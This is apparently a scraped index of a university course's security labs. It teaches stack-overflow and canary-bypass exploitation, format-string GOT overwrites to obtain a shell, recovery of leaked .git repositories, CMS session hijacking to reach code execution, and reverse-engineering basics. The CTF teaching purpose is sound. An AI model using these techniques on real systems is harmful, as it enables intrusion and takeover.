Run the program, debug with IDA, after entering 8 A, exit vuln function, the program executes ret instruction, the stack layout is shown in Figure 6-3-1. At this time, the top of the stack is saved 0x400579 that return address, after executing ret instruction, the program will jump to the location of 0x400579. Note that there is a string of 0x414141414141414141 above the return address, which is the 8 A's just entered. Since the get function does not check the length of the input data, it can increase the input until the return address is covered. From Figure 6-3-1, you can see that the return address is 18 bytes away from the first A. If you input more than 19 bytes, the return address will be overwritten.
Analyzing this program with IDA, we can learn that the location of the shell function is 0x400537, and our purpose is to make the program jump to this function so as to execute system (\"/bin/sh\") to get a shell.
In order to facilitate the input of some non-visible characters (such as address), here used to answer the PWN topic very useful tool pwntools, code comments will explain some of the commonly used functions, more specific instructions please refer to the official documentation.
The attack script is as follows.
Use IDA to attach to the process for trace debugging, just to the location of ret, the return address has been overwritten to 0x400537, continue to run the program will jump to the shell function, so as to obtain the shell (see Figure 6-3-2).
2. Stack protection technology
Stack overflows are very difficult to exploit and very harmful. In order to alleviate the growing security problems caused by stack overflows, compiler developers introduced the Canary mechanism to detect stack overflow attacks.
Canary translates to canary in Chinese. The Canary protection mechanism is similar to this, by inserting a random number in front of the stack where rbp is stored, so that if an attacker uses a stack overflow vulnerability to overwrite the return address, it will also overwrite the Canary. The compiler adds a piece of code before the function ret instruction that will check if the value of Canary has been overwritten. If it is rewritten, an exception is thrown directly, interrupting the program and thus preventing the attack from occurring.
But this method is not always reliable, as in Example 6-3-2.
Enable stack protection at compile time.
gcc stack2.c -no-pie -fstack-protector-all -o stack2\n
When vuln function enters, it will take the value of Canary from fs:28, put it into the location of rbp-8, compare the value of rbp-8 with the value in fs:28 before the function exits, and if it is changed, call __stack_chk_fail function, output error message and exit the program (see Figure 6-3-3 and Figure 6-3-4).
But this program will print the input string before the vuln function returns, which will leak the Canary on the stack and thus bypass the detection. Here you can control the length of the string to just connect to the Canary, which will make the Canary and the string printed together by the puts function. Since the lowest byte of the Canary is 0x00, an extra character needs to be sent to overwrite 0x00 in order to prevent it from being truncated by 0.
In the next input, the leaked canary can be written to the original address and then continue to overwrite the return address:
The above example illustrates that even if the compiler has protection enabled, you still need to pay attention to prevent stack overflow when writing the program, otherwise it may be exploited by attackers, which can have serious consequences.
3. Dangerous functions where stack overflows often occur
By looking for dangerous functions, we can quickly determine if a program may have a stack overflow and where the stack overflow is located. The common dangerous functions are as follows.
\u2756 Input: gets(), which reads a line directly up to the newline character '\\n', while '\\n' is converted to '\\x00'; scanf(), which formats a string in which %s does not check the length; vscanf(), as above.
\u2756 Output: sprintf(), writes the formatted content to the buffer, but does not check the buffer length.
\u2756 String: strcpy(), stops when '\\x00' is encountered, does not check the length, often prone to single-byte write 0 (off by one) overflow; strcat(), same as above.
4. Available stack overflow coverage locations
There are usually three types of stack overflow override locations available:
\u2460 Override the function return address, the previous examples are controlled by overriding the return address program.
\u2461 Overwrite the value of the BP register saved on the stack. The function will be called to save the stack site first, and then restore it when it returns, as follows (take x64 program as an example) When called.
When returning: If the BP value on the stack is overwritten, the BP value of the main caller function will be changed after the function returns, and when the main caller function returns to the line ret, the SP will not point to the original return address location, but the BP location after being modified.
\u2462 Depending on the realistic execution, overwriting the content of a specific variable or address may lead to some logic vulnerabilities.
"},{"location":"CS315/Lab%202%20Secure%20Coding%20and%20Buffer%20Overflows/#assignment","title":"Assignment","text":""},{"location":"CS315/Lab%202%20Secure%20Coding%20and%20Buffer%20Overflows/#kfc-crazy-thursday","title":"KFC crazy Thursday","text":"On sale!
This challenge must create a dynamic docker and connect via domain or DNS.
Outside university nc 116.7.234.225 port
inside university nc 10.20.55.12 port
A heap of the heap.
This challenge must create a dynamic docker and connect via domain or DNS.
Outside university nc 116.7.234.225 port
inside university nc 10.20.55.12 port
(None)
nc 103.102.44.94 8306
The commonly used formatted output functions in C are as follows:
Their usage is similar, and this section uses printf as an example. In C, the conventional usage of printf is:
where the first parameter of the function with %d, %s, and other placeholders is called a formatted string, and the placeholders are used to specify how the output parameter values are formatted.
The syntax of the placeholders is:
parameter can be ignored or for n$, n means that this placeholder is the first parameter passed in.
flags can be zero or more, mainly including:
\u2756 +- always indicates a '+' or '-' for a signed value, ignores the sign of positive numbers by default, and applies only to numeric types.
\u2756 Space - output of signed numbers is prefixed with 1 space if there is no plus or minus sign or 0 characters are output.
\u2756 --Left justified, default is right justified.
\u2756 # - For 'g' and 'G', the trailing 0 is not removed to indicate precision; for 'f', 'F', 'e', 'E', 'g', and 'G', the decimal point is always output; for 'o', 'x', and 'X', the prefix 0, 0x, and 0X are output before the non-zero value to indicate the number system, respectively.
\u2756 0- in front of the width option, indicating padding with 0.
field width gives the minimum width of the displayed value, which is used to fill a fixed width when outputting. If the actual number of output characters is less than the field width, it will be filled according to left-aligned or right-aligned, and the negative sign is interpreted as left-aligned flag. If the domain width is set to \"*\", the value of the corresponding function parameter is the current domain width.
precision usually specifies the maximum length of the output, depending on the specific formatting type:
\u2756 For integer values of d, i, u, x, and o, the minimum number of digits, with any shortfall being filled with zeros on the left.
\u2756 For floating-point values of a, A, e, E, f, and F, the number of digits displayed to the right of the decimal point.
\u2756 For floating-point values of g, G, refers to the maximum number of significant digits.
\u2756 For the string type of s, it refers to the upper limit of the output bytes.
If the domain width is set to \"*\", the value of the corresponding function parameter is the precision current domain width.
length indicates the length of the floating-point argument or integer argument:
\u2756 hh-matches an integer argument of size int8 (1 byte).
\u2756 h-Matches an integer argument of size int16 (2 bytes).
\u2756 l-matches integer parameters of size long for integer types, double for floating point types, wchar_t pointer parameters for string s types, and wint_t parameters for character c types.
\u2756 ll-matches integer parameters of size long long.
\u2756 L-matches integer parameters of size long double.
\u2756 z-Matches integer parameters of size_t size.
\u2756 j-Matches integer parameters of size intmax_t.
\u2756 t-matches an integer parameter of size ptrdiff_t.
The type representation is as follows:
\u2756 d, i-Signed decimal int values.
\u2756 u-Decimal unsigned int value.
\u2756 f, F-Decimal double values.
\u2756 e, E-double value, the output form is \"[-]d.ddd e[+/-]ddd\" in decimal.
\u2756 g, G-double values, with f or e format automatically selected depending on the size of the value.
\u2756 x, X-hexadecimal unsigned int values.
\u2756 o-Octal unsigned int value.
\u2756 s-A string ending in \\x00.
\u2756 c-A char type character.
\u2756 p-void* pointer type value.
\u2756 a, A-double type hexadecimal representation, i.e., \"[-]0xh.hhhh p\u00b1d\", with the exponent part in the form of decimal representation.
\u2756 n-Writes the number of characters that have been successfully output to the variable referred to by the corresponding integer pointer parameter.
\u2756 %-'%' literal value, does not accept any flags, width, precision or length.
If the formatted string of printf in the program is controllable, the printf function will take data from the register or stack corresponding to the location of the argument as an argument to read or write even if the corresponding argument is not filled in at the time of the call, which can easily result in arbitrary address reading and writing.
"},{"location":"CS315/Lab%203%20Secure%20Coding%20and%20Format-String%20Vulnerability/#basic-exploitation-of-formatted-string-vulnerability","title":"Basic Exploitation of Formatted String Vulnerability","text":"The formatted string vulnerability allows for arbitrary memory reads and writes. Since function parameters are passed through the stack, the data on the stack can be leaked using \"%X$p\" (X is an arbitrary positive integer). Moreover, if you can control the data on the stack, you can write the address you want to leak on the stack in advance, and then use \"%X$p\" to output the address you want to leak as a string.
In addition, since \"%n\" can write the number of characters that have been successfully output to the variable indicated by the corresponding integer pointer parameter, it is possible to arrange the address of the memory you want to write on the stack in advance. Then you can write to any memory by using \"%Yc%X$n\" (Y is the data you want to write).
Compile the program in Example 6-5-1 with the following command:
Set a breakpoint at printf, when RSP is exactly where we entered the string, i.e., the 6th argument (the first 5 arguments and formatted string of 64-bit Linux are passed by registers), and we enter \"AAAAAAAAA%6$p\".
The program does output the 8 A's entered as pointer variables, and we can use this to leak information first.
The stack contains the return address pressed in before __libc_start_main calls __libc_csu_init (see Figure 6-5-1), and based on this address, we can calculate the base address of libc, which can be calculated at the location of the 21st argument; similarly, _start is at the location of the 17th argument, through which we can calculate the base address of the fsb program. The base address of the fsb program can be calculated by using it.
Once you have the libc base address, you can calculate the address of the system function, and then modify the address of the printf function in the GOT table to the address of the system function. The next time you execute printf(format), you will actually execute system(format) and enter format as \"/bin/sh\" to get the shell. use the script as follows.
The script splits system's address (6 bytes) into 3 words (2 bytes) because if you output more than one int-type byte at a time, printf will output several gigabytes of data, which may be very slow when attacking a remote server, or cause a broken pipe (broken pipe). Note that in 64-bit programs, the address often accounts for only 6 bytes, that is, the high 2 bytes must be \"\\x00\", so the 3 addresses must be placed at the end of the payload, and not at the top. Although placed at the top, the offset is better calculated, but printf output string is up to \"\\x00\", the \"\\x00\" in the address will truncate the string, after the placeholder used to write the address will not take effect.
"},{"location":"CS315/Lab%203%20Secure%20Coding%20and%20Format-String%20Vulnerability/#how-to-use-formatted-strings-that-are-not-on-the-stack","title":"How to use formatted strings that are not on the stack","text":"Sometimes the input string is not stored on the stack, so there is no way to directly address the stack to control the printf arguments, which is a relatively complicated situation.
Because the program has the operation of pressing rbp onto the stack when calling a function or putting some pointer variables on the stack, there will be many pointers on the stack that hold the address on the stack, and it is easy to find three pointers p1, p2, p3, forming a situation where p1 points to p2 and p2 points to p3, then we can first use p1 to modify the lowest 1 byte of p2, which can make p2 point to p3 pointer 8 bytes of Any 1 byte and modify it, so that p3 can be modified byte by byte to become any value, indirectly controlling the data on the stack.
Compile the program of Example 6-5-2 with the following command:
Set a breakpoint at printf, at this point the stack distribution is shown in Figure 6-5-2. The pointer saved at 0x7ffffffee030 points to 0x7ffffffee060, and the pointer saved at 0x7ffffffee060 points to 0x7ffffffee080, which satisfies the above requirements. These three pointers are at printf No. 10, 16, and 20 arguments. The program requests a block of memory to hold the input string before the loop executes 30 times of input and output, which will be released at the end of the loop and then exits the program. We can change the value at 0x7ffffffee080 to the address of the free function item in the GOT table, and change the function pointer there to the address of the system function. This way, when executing free (format), what is actually executed is system (format), just type \"/bin/sh\" to get the shell.
The complete script is as follows:
"},{"location":"CS315/Lab%203%20Secure%20Coding%20and%20Format-String%20Vulnerability/#some-special-uses-of-formatted-strings","title":"Some special uses of formatted strings","text":"Formatting strings sometimes encounters some rare placeholders, such as \"*\" to take the value of the corresponding function argument as the width, printf (\"%*d\", 3, 1) to output \" 1\".
As in Example 6-5-3, guessing the sum of two numbers, you can get the shell after guessing right. not considering the case of blasting, although the formatted string can leak the value of these two numbers, but the input is before the leak, after the leak has been unable to modify the guessed value, so you must use this opportunity to fill in the sum of a and b directly to num, which requires the use of placeholder \"*\".
Set a breakpoint at printf(buf), at this point the data on the stack is shown in Figure 6-5-3. a and b numbers (0x1b2d and 0xc8e3 respectively) are in the 8th and 9th argument positions, and num_ptr is in the 11th argument position. a and b numbers are used as two output widths, and the number of characters output is the sum of a and b. Then use \"% n\" is written into num to achieve the effect of num==a+b.
The script is as follows:
"},{"location":"CS315/Lab%203%20Secure%20Coding%20and%20Format-String%20Vulnerability/#formatted-strings-summary","title":"Formatted Strings Summary","text":"Formatted strings utilize ultimately arbitrary address reading and writing, and a program that can do arbitrary address reading and writing is not far from full control.
Sometimes programs turn on the Fortify protection mechanism so that all printf() is replaced by __printf_chk() when the program is compiled. The difference between the two is as follows:
\u2756 When using positional arguments, you must use all arguments in the range and cannot print discontinuously using positional arguments. For example, to use \"%3$x\", you must use both \"%1$x\" and \"%2$x\".
\u2756 A formatted string containing \"%n\" cannot be located at a writable address in memory.
While it is difficult to write to arbitrary addresses at this point, it is possible to exploit arbitrary address reads for information leakage, which can be used in conjunction with other vulnerabilities.
"},{"location":"CS315/Lab%203%20Secure%20Coding%20and%20Format-String%20Vulnerability/#assignment","title":"Assignment","text":""},{"location":"CS315/Lab%203%20Secure%20Coding%20and%20Format-String%20Vulnerability/#1-easy-fmt","title":"(1 - Easy) fmt","text":"Read the flag from stack!
This challenge must create a dynamic docker and connect via domain name detroit.sustech.edu.cn
or IP address.
nc 116.7.234.225 port
nc 10.20.55.12 port
or nc detroit.sustech.edu.cn port
If you are lucky enough, you would win.
This challenge must create a dynamic docker and connect via domain name detroit.sustech.edu.cn
or IP address.
nc 116.7.234.225 port
nc 10.20.55.12 port
or nc detroit.sustech.edu.cn port
I just want to exit
instead of return
.
This challenge must create a dynamic docker and connect via domain name detroit.sustech.edu.cn
or IP address.
nc 116.7.234.225 port
nc 10.20.55.12 port
or nc detroit.sustech.edu.cn port
In the traditional CTF online competition, Web class is one of the main types of questions, compared to binary, reverse and other types of questions, participants do not need to master the underlying knowledge of the system; compared to cryptography, miscellaneous issues, does not require a particularly strong programming skills, so it is easier to start. web class topics common types of vulnerabilities include injection, XSS, file inclusion, code execution, upload, SSRF, etc. This chapter will introduce the CTF online vulnerabilities.
This chapter will introduce various common Web vulnerabilities in the CTF online competition, and through the analysis of relevant examples, the reader will have a relatively comprehensive understanding of the CTF online competition Web topics as much as possible. However, the classification of Web vulnerabilities is very complicated, so we hope that readers can learn about them on the Internet while reading this book, so that they can learn from one example to improve their own abilities.
According to the frequency of vulnerabilities, the complexity of vulnerabilities, we will be divided into Web class topics into introductory, advanced, and expansion of the three levels of introduction. When explaining each level of vulnerability, we supplemented with relevant example problem analysis, so that readers can more intuitively understand the impact of different vulnerabilities in the CTF online competition Web class topics, from the shallow to deep understanding of Web class topics, clear their own skill deficiencies, so as to achieve the purpose of making up. This chapter starts from the \"Getting Started\" level and introduces the three most common types of vulnerabilities in the Web category, namely information gathering, SQL injection, and arbitrary file reading vulnerabilities.
"},{"location":"CS315/Lab%204%20Scanning%2C%20Reconnaissance%2C%20and%20Penetration%20Testing/#pivotal-information-gathering","title":"Pivotal information gathering","text":""},{"location":"CS315/Lab%204%20Scanning%2C%20Reconnaissance%2C%20and%20Penetration%20Testing/#the-importance-of-information-gathering","title":"The importance of information gathering","text":"As the old saying goes, \"If you know yourself and your enemy, you will never lose a hundred battles\". In the Web category of the CTF online competition, information gathering covers a wide range of topics, including backup files, directory information, Banner information, etc. This requires participants to have a lot of experience or to use some scripts to help them find information and exploit vulnerabilities in the topic. This section will describe as much as possible the information collection contained in the Web category of the CTF online competition, and will also recommend some open source tools and software that have been tested by the authors.
Because most of the information gathering is the use of tools (git leaks may involve the application of git commands), this chapter may not have much technical detail. At the same time, because there are more kinds of information gathering, this chapter will cover as much as possible, so please understand if there are any shortcomings; at the end, it will reflect the importance of information gathering through practical examples of competitions.
"},{"location":"CS315/Lab%204%20Scanning%2C%20Reconnaissance%2C%20and%20Penetration%20Testing/#classification-of-information-gathering","title":"Classification of information gathering","text":"Preliminary information gathering on the topic may have a very important role in solving the topic of CTF online competition. The following will talk about the basic information gathering from three aspects: sensitive directory, sensitive backup file, and Banner identification, and how to discover the direction of solving the problem in CTF online competition.
"},{"location":"CS315/Lab%204%20Scanning%2C%20Reconnaissance%2C%20and%20Penetration%20Testing/#sensitive-directory-leakage","title":"Sensitive Directory Leakage","text":"Through sensitive directory leakage, we can often obtain the source code and sensitive URL addresses of websites, such as the backend address of websites, etc.
1. git leakage
[Vulnerability Introduction] git is a mainstream distributed version control system, developers often forget the .git folder in the development process, leading to attackers can obtain all the information in the .git folder that developers have submitted This allows attackers to access all the source code committed by the developer through the information in the .git folder, which may lead to the server being compromised by the attack.
(1) Conventional git leaks Conventional git leaks:
without any other operations, the participant can obtain the website source code or flags by using ready-made tools or scripts written by themselves. Here is a recommended tool: https://github.com/denny0223/scrabble, the use of which is also very simple.
./scrabble http://example.com/\n
Build the Web environment locally by yourself, see Figure 1-1-1.
Run the tool, you can get the source code, get the flag, see Figure 1-1-2.
(2) git rollback
As a version control tool, git records every commit, so when there is a git leak, the flag (sensitive) file may be deleted or overwritten in the revision, then we can use git's \"git reset\" command to restore to the previous version. See Figure 1-1-3 for a local web environment.
We first use the scrabble tool to get the source code, and then use the \"git reset--hard HEAD^\" command to jump to the previous version (in git, the current version is represented by HEAD, and the previous version is HEAD^) to get the source code, see Figure 1-1-4.
In addition to using \"git reset\", a simpler way to see what files have been modified by each commit is to use the \"git log-stat\" command, and then use \"git diff HEAD commit-id\" to compare the changes between the current version and the commit you want to see.
(3) git branches
Each time you commit, git automatically strings them together into a timeline, which is a branch. And git allows multiple branches, thus allowing users to separate work from the main development thread so that it doesn't interfere with it. If no new branches are created, then there is only one timeline, i.e., only one branch, which defaults to the master branch in git. So the flags or sensitive files we are looking for may not be hidden in the current branch, so using the \"git log\" command will only find the changes made on the current branch, but not the information we want, so we need to switch branches to find the files we want.
Most off-the-shelf git leaks do not support branches, so if you need to restore code from another branch, you often need to extract the files by hand, so here is an example of the more powerful GitHacker (https://github.com/WangYihang/GitHacker) tool. Just run the command \"python GitHacker.py http://127.0.0.1:8000/.git/\". Once you run it, you'll see the folder you created locally, but if you run \"git log--all\" or \"git branch-v\", you'll only see the master branch. If you run \"git reflog\", you can see some checkout records, see Figure 1-1-5.
As you can see, there is a secret branch in addition to the master branch, but the automation tool only restores the information of the master branch, so you need to manually download the head information of the secret branch and save it to .git/refs/heads/secret (execute the command \"wget http:// 127.0.0.1:8000/.git/refs/heads/secret\"). After restoring the head information, we can reuse some of the GitHacker code to automate the branch restoration process. As you can see in GitHacker's code, he downloads the object file first, then uses git fsck to detect it, and continues to download the missing file. Here you can directly reuse the fixmissing function that detects missing files and restores them. Let's comment out the last part of the program that calls main and change it to the following code.
If you run \"python GitHacker.py\" again, go to the folder you created, and run \"git log--all\" or \"git branch-v\" command, you will be able to recover the secret branch information, find the corresponding commit hash from the git log, and execute the command \"git diff HEAD b94c\" (b94c is the first 4 bits of the hash) to get the flag, see Figure 1-1-6.
(4) Other uses of git leaks
In addition to the common exploit of viewing the source code, the leaked git may also contain other useful information, such as the .git/config folder may contain access_token information, which allows access to other repositories of this user.
2. SVN vulnerability
SVN (subversion) is the source code version management software, the main reason for SVN source code vulnerability is the administrator's irregular operation to expose the SVN hidden folder to the external network environment, you can use the .svn/entries or wc.db file to obtain the server source code and other information. Here we recommend two tools: https://github.com/kost/dvcs-ripper and Seay-svn (source code backup vulnerability exploit tool for Windows).
3. HG leak
When initializing the project, HG will create a .hg hidden folder under the current folder, which contains information such as code and branch modification records. Here is a recommended tool: https://github.com/kost/dvcs-ripper.
4. Summary of experience
Whether it is .git these hidden files or sensitive backend folders like admin in practice, the key lies in the power of the dictionary, and the reader can do secondary development on the basis of certain tools to meet their needs. Here is a recommended open source directory scanning tool: https://github.com/maurosoria/dirsearch.
CTF online competitions often have problems with redirects of one kind or another. For example, as soon as you visit .git, it will return 403, at this time try to visit .git/config, if there are file content returned, it means that there is a git leak, and vice versa, generally does not exist. In SVN leaks, the source code is usually crawled in the entries, but sometimes there are cases where the entries are empty, then pay attention to the existence of the wc.db file or not, and you can get the source code in the pristine folder through the checksum there.
"},{"location":"CS315/Lab%204%20Scanning%2C%20Reconnaissance%2C%20and%20Penetration%20Testing/#sensitive-backup-files","title":"Sensitive backup files","text":"Through some sensitive backup files, we can often get the source code of a file, or the whole directory of a website, etc.
1. gedit backup files
Under Linux, after saving with the gedit editor, a file with the suffix \"~\" will be generated in the current directory, whose contents are the contents of the file just edited. Assuming that the name of the file you just saved is flag, the file name is flag ~, see Figure 1-1-7. Access this file with \"~\" through your browser to get the source code.
vim is currently the most used Linux editor. When a user is editing a file but quits unexpectedly (e.g., when connecting to the server via SSH, you may encounter an unexpected exit due to a command line jam caused by insufficient network speed in the process of editing a file with vim), a backup file will be generated in the current directory with the following file name format
.filename.swp\n
This file is used to backup the contents of the buffer, i.e. the contents of the file at the time of exit, see Figure 1-1-8.
For the SWP backup file, we can use the \"vim-r\" command to restore the contents of the file. Here we simulate the execution of \"vim flag\" command first, and then close the client directly, a .flag.swp file will be generated in the current directory. To restore the SWP backup file, first create a flag file in the current directory, and then use the \"vim-r flag\" command to get the contents edited during the accidental exit, see Figure 1-1-9.
Regular files rely on the saturation of dictionaries, whether in CTF competitions or in the real world, we will encounter some classic and recognizable files, so that we can better understand the site. Here are just a few simple examples, the specific needs of the reader to collect records by heart.
\u2756 robots.txt: record some directory and CMS version information.
\u2756 readme.md: Record CMS version information, some even have Github address.
\u2756 www.zip/rar/tar.gz: It is often the source code backup of the website.
4. Summary of experience
In the process of CTF online competition, the questioner will often operate and maintain the question online, and sometimes various situations will lead to the generation of SWP backup files, so the reader can write real-time monitoring scripts to monitor the question service during the competition.
The backup file generated by vim in the first unexpected exit is .swp, the one in the second unexpected exit is .swo, the one in the third exit is .swn, and so on. vim's official manual also has backup files of type .un.filename.swp.
Also, in a real-world environment, backups of a website may often be a zip archive of the website domain.
"},{"location":"CS315/Lab%204%20Scanning%2C%20Reconnaissance%2C%20and%20Penetration%20Testing/#banner-recognition","title":"Banner recognition","text":"In CTF online competition, the Banner information (some basic information displayed by the server to the outside world) of a website has a very important role in solving the problem, and players can often use the Banner information to get ideas for solving the problem. For example, when we know that the website is written with ThinkPHP web framework, we can try the relevant historical vulnerability of ThinkPHP framework. Or when we learn that the site is a Windows server, then we can try based on the characteristics of Windows when testing for upload vulnerabilities. Here are the two most common ways to identify Banner.
1. collect your own fingerprint library
Github has a large number of formed and publicly available CMS fingerprint library, readers can find their own, and at the same time can draw on some formed scanners to identify the site.
2. Use existing tools
We can use the Wappalyzer tool (see Figure 1-1-10), which also provides a well-formed Python library with the following usage.
In the data directory, the apps.json file is its rule base, and readers are free to add it according to their needs.
3. Summary of experience
In the server Banner information detection, in addition to the two common identification methods mentioned above, we can also try to enter some random URLs, and sometimes we can find some information through 404 pages and 302 bounce pages. For example, a ThinkPHP website with debug option turned on will show the version of ThinkPHP on some error pages.
"},{"location":"CS315/Lab%204%20Scanning%2C%20Reconnaissance%2C%20and%20Penetration%20Testing/#from-information-gathering-to-topic-resolution","title":"From information gathering to topic resolution","text":"The following is a replay of a CTF range race scenario to show how to go from information gathering to getting flags.
1. Environment information
\u2756 Windows 7.
\u2756 PHPstudy 2018 (with directory traversal turned on).
\u2756 DedeCMS (Weaving Dream CMS, member registration not turned on).
2. Solution steps
By visiting the website, according to the observation and Wappalyzer's prompt (see Figure 1-1-11 and Figure 1-1-12), we can find that this is DedeCMS built on Windows, and visiting the default backend directory is found to be 404, see Figure 1-1-13.
At this point we can associate DedeCMS on Windows server there is a backend directory blasting vulnerability (the cause of the vulnerability is not described here, the reader can check), we run the local blasting script, get the directory zggga111, see Figure 1-1-14.
However, after testing, we found that the member registration function is turned off, which means we cannot use the member password reset vulnerability to reset the administrator password. What should we do? In fact, in DedeCMS, as long as the administrator has logged in the background, there will be a corresponding session file in the data directory, and this topic happens not to close the directory traversal, see Figure 1-1-15. so we can get the administrator's session value, modify the cookie through editcookie, so as to successfully enter the background, see Figure 1- 1-16.
Then insert a piece of malicious code in the template's tag source fragment management to execute any command, see Figure 1-1-17 and Figure 1-1-18.
3. Summary
This example can reflect the importance of information gathering in two ways.
\u2756 One is the information of the server, for Windows server, the probability means we go to find some vulnerability of CMS on it.
\u2756 The second is the final RCE (Remote Command/Code Execute) through the characteristics of the CMS website itself combined with directory traversal without knowing the password and being unable to reset it.
"},{"location":"CS315/Lab%205%20Reverse%20Engineering%20and%20Obfuscation/","title":"Lab 5: Reverse Engineering and Obfuscation","text":"Reverse engineering is a technical process of analyzing and studying a target product in reverse, so as to deduce and derive design elements such as processing flow, organization, functional performance specifications, etc., in order to produce a product with similar but not identical functions. In CTF, reverse engineering generally refers to software reverse engineering, i.e., analyzing the executable file that has been compiled, studying the behavior and algorithm of the program, and then using it as a basis to calculate the flags that the questioner wants to hide.
"},{"location":"CS315/Lab%205%20Reverse%20Engineering%20and%20Obfuscation/#reverse-engineering-basics","title":"Reverse Engineering Basics","text":""},{"location":"CS315/Lab%205%20Reverse%20Engineering%20and%20Obfuscation/#overview-of-reverse-engineering","title":"Overview of Reverse Engineering","text":"Generally, the reverse engineering topic in CTF is in the form of: the program receives an input from the user, and carries out a series of verification algorithms in the program, and if it passes the verification, it will indicate success, at which time the input is the flag. these verification algorithms can be mature encryption and decryption scheme, or can be the author's own algorithm. For example, a mini-game uses the user's input as the operation step of the game to judge, etc. These types of topics require participants to have certain algorithmic skills, thinking skills, and even association skills.
This section will introduce the basics needed to get started with CTF inverse topics and introduce common tools, assuming the reader has some basic knowledge of C.
"},{"location":"CS315/Lab%205%20Reverse%20Engineering%20and%20Obfuscation/#executable-files","title":"Executable files","text":"The object of software reverse engineering analysis is a program, i.e., one or more executable files. The following is a brief introduction to the formation process of executable files and common executable file types, so that readers can have a preliminary knowledge of them.
1. The formation process of executable files (compilation and linking)
For readers who are new to this area, it is crucial to form a proper understanding and sense of executable files. Again, as something created by human civilization, executable files are not generated directly as if by magic, but through a series of steps.
The vast majority of normal executables are generated by compiling a high-level language. In general, these processes occur when compiling:
<1> The user takes a set of source code written in a high-level language as input to the compiler.
<2> The compiler parses the input and generates the corresponding assembly code for each source code file.
<3> The assembler receives the compiler-generated assembly code and continues to perform assembly operations, temporarily storing each copy of the generated machine code in the respective object file.
<4> Now multiple object files have been generated, but the final goal is to generate an executable file. So the linker gets involved, interconnecting the scattered object files and processing them into a complete program. Then, according to the format of the executable file, it fills in various parameters specifying the running environment of the program and finally forms a complete executable file.
In the actual environment, there is more or less information loss in each step of the process due to the need to consider the size of the generated executable, the runtime performance of the executable, and the protection of information. For example, the comment information in the source code is generally discarded in the compilation stage, the label (label) name in the assembly code may be discarded in the assembly, and the symbolic information such as function name and type name may be discarded in the linking.
Reverse requires the use of knowledge and experience to restore some of this information, and thus restore all or part of the program flow to achieve various purposes of the analyst.
2. Executable files in different formats
In practice, due to historical legacy and competition between companies, etc., the various files generated in each step described above will have multiple file formats. For example, Windows systems use PE (Portable Executable) executables, while Linux systems use ELF (Executable and Linkable Format) executables. Since both executable formats are developed from COFF (Common File Format) format, various concepts in the file structure are very similar.
PE file consists of DOS header, PE file header, section table and data of each section; meanwhile, if you need to refer to external dynamic link library, there is import table; if you can provide functions to other programs to dynamically.
The ELF file consists of the ELF header, section data, section table, string segment, and symbol table.
Sections are logical divisions of sections in a program, usually with specific names, such as .text or .code for code sections, .data for data sections, etc. At runtime, the sections of an executable are loaded into various locations in memory, and one or more sections are mapped into a Segment for ease of management and to save overhead. Segments are divided according to the permissions (read, write, execute) required for this part of memory. If an illegal operation is performed in the corresponding segment, such as a write operation in a code segment that can only be read and executed, a Segmentation Fault is generated.
Since the basic format details of PE and ELF are fully disclosed and there are a lot of mature tools for parsing and modifying them, we will not explain these format details in detail here.
"},{"location":"CS315/Lab%205%20Reverse%20Engineering%20and%20Obfuscation/#assembly-language-basics","title":"Assembly Language Basics","text":"After parsing the file, the reverser is confronted with a large piece of machine code, which is directly generated by the assembly language.
The following is an introduction to the key concepts of assembly language, so that readers can quickly understand assembly language.
1. Registers, memory and addressing
Register is a part of CPU, which is a high-speed storage component with limited storage capacity, used to temporarily store instructions, data and addresses. A typical IA-32 (Intel Architecture, 32-bit), or x86 architecture processor contains the following registers that are explicitly visible in instructions:
\u2756 General-purpose registers EAX, EBX, ECX, EDX, ESI, EDI.
\u2756 Top-of-stack pointer register ESP, bottom-of-stack pointer register EBP.
\u2756 Instruction counter EIP (holds the address of the next address of the next instruction to be executed).
\u2756 Segment registers CS, DS, SS, ES, FS, GS.
For the x86-64 architecture, based on these registers above, the prefix E is changed to R to mark 64 bits, and eight general-purpose registers, R8 to R15, are added. In addition, for the 16-bit case, the prefix E is removed altogether. 16-bit, there are certain restrictions on the use of registers, which will not be repeated in this book since they are not mainstream now.
For general-purpose registers, the program can use all of them or only part of them. The corresponding helpers for different parts of the registers are shown in Figure 5-1-1, where the naming rules for splitting R8 to R15 are R8d (low 32 bits), R8w (low 16 bits) and R8b (low 8 bits).
There is also a flag register in the CPU, where each bit indicates the value of the corresponding flag bit. The commonly used flag bits are as follows.
\u2756 AF: Auxiliary Carry Flag, set to 1 when the result of the operation is entered in the third bit.
\u2756 PF: Parity Flag, set to 1 when the lowest valid byte of the operation result has an even number of ones.
\u2756 SF: Sign Flag, set to 1 when the sign bit of the sign shaping is 1, representing that it is It means it is a negative number.
\u2756 ZF: Zero Flag, set to 1 when the operation result is all zeros.
\u2756 OF: Overflow Flag, set to 1 when the operation result is a signed number and overflows.
\u2756 CF: Carry Flag, set to 1 when the operation result is fed above the highest bit, used to determine the overflow of unsigned numbers.
The CPU can operate not only on registers, but also on memory cells, so there are many different addressing methods. Table 5-1-1 shows the different addressing methods of CPU, examples and the corresponding operation objects.
It is easy to see that \"[]\" is equivalent to the \"*\" operator in C (indirect access).
In the x86/x64 architecture, the four addressing methods, namely register indirect addressing, base addressing, variable addressing, and base plus variable addressing, are almost identical in terms of the functions they achieve, but there are semantic differences. In the 16-bit era, these four addressing methods cannot be mixed. In modern compilers, the compiler will choose the appropriate addressing method based on semantics and optimization.
2. x86/x64 assembly language
The x86/x64 assembly language exists in two display/writing styles, Intel and AT&T, and this chapter will unify the Intel style.
What is machine code? What is assembly language? Machine code is a binary instruction executed directly on the CPU, and assembly language is a kind of helper for machine language, assembly language and machine code are one-to-one correspondence. Machine code varies according to CPU architecture. The most common CPU architectures for CTF and usual are x86 and x86-64 (x64).
The basic format of x86/x64 assembly instructions is as follows.
Where the presence or absence and form of operands is determined by the type of operand. Due to space limitation, this section cannot describe the format and functions of various instructions in an exhaustive manner. Table 5-1-2 gives the forms, functions, and corresponding high-level language writing methods of several common instructions. Entry-level CTF participants do not need to master how to write assembly language programs fluently, but only need to master the common instructions described below and be able to read and understand them when they encounter them.
There are many conditional jump instructions in assembly language, and they will jump conditionally depending on the flag bits. A cmp instruction for comparison often exists before the conditional jump instruction and will set the flag bit accordingly based on the result of the comparison (the effect on the flag bit is equivalent to the sub instruction).
Table 5-1-3 shows the common conditional jump instructions and the cmp and flag bits they are based on.
3. Disassembly
While high-level languages often require a complex compilation process, the assembly process simply translates the assembly statements directly into the corresponding machine code and places the statements directly adjacent to each other. Therefore, we can easily translate the machine code back to assembly language, and such a process is called disassembly.
